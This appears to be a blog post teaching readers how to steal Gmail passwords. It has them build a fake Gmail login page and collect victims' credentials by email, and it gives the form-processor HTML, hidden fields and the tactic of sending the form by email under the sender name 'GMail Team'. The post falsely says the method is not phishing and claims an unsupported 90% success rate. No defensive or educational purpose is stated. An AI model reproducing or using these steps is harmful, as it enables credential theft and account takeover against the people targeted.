| Here is the most effective technique for cracking GMail Accounts Passwords.
This method uses 'Social Engineering' rather than 'Phishing'
.
Follow the steps as given below :-
Success Rate :- 90%
Step-1 : Create your own fake gmail login form using HTML, which may look like one as shown below-
The HTML code for above login screen created is given below-
Step-2
: We require a form processor to process this fake
login form, i.e. to store the username and password entered by the
victim.
The username and password entered by victim can either be stored in
database or send directly to the predefined e-mail address.
This can be done in two ways-
1) Using online form processors, which are freely
available and ready to use.
eg. One of such form processor is provided by http://www.formmail.com
. You have to register with www.formmail.com and configure your fake
gmail login form to be processed by formmail.com . The configuration
is different for each formmail account. Which may be something like
following
Your form must start with the following <form> HTML tag:<br>
<form method="POST" action="http://fp1.formmail.com/cgi-bin/fm192">
You must also include the following hidden configuration fields
in your form so that formmail.com knows what account and form processor
to use on the submitted data:
<input type="hidden" name="_pid" value="94566">
<input type="hidden" name="_fid" value="36THG54Z">
You must also inform this form processor who you wish to have your
form results emailed to. To do so, you must include a hidden form
field that specifies the recipient:
<input type="hidden" name="recipient" value="your email address">
Please Note: the above field will work, but an even better solution
is to use the ID number for that email address (thus hiding your
address from spammers):
<input type="hidden" name="recipient" value="1">
2) If you are having your own
domain hosted on some server; knowing the basics of ASP for processing
HTML forms, you can create your own form processor in ASP (eg. 'login.asp'
page) for above given fake gmail login form. Here you should only
put both 'gmail.html' and 'login.asp' files to your server.
Step-3
: Now both of your 'Fake Gmail Login Form (eg. gmail.html)'
and 'Form Processor' are ready to use.
Now you can send the fake gmail login form as an html mail to the
victim's e-mail address, hoping that the victim gets fooled into entering
the account username and password and click on 'Move' button.
Note:- You can use Microsoft Outlook for sending HTML e-mail.
Also, you must use your fake name as 'GMail Team' or 'GMail' while sending fake login form to victim.
As soon as victim click on 'Move' button he/she get redirected to
predefined webpage (eg. http://www.gmail.com), while his/her 'username'
and 'password' get emailed to you by formmail.com .
That's It............!
Done.......?
|
| |
|
|
|
|
|
|
|
|
|
|
|
|
| | |
|
|
|
|
|
|
|
|
|
|
|
| : | | |
0 comments: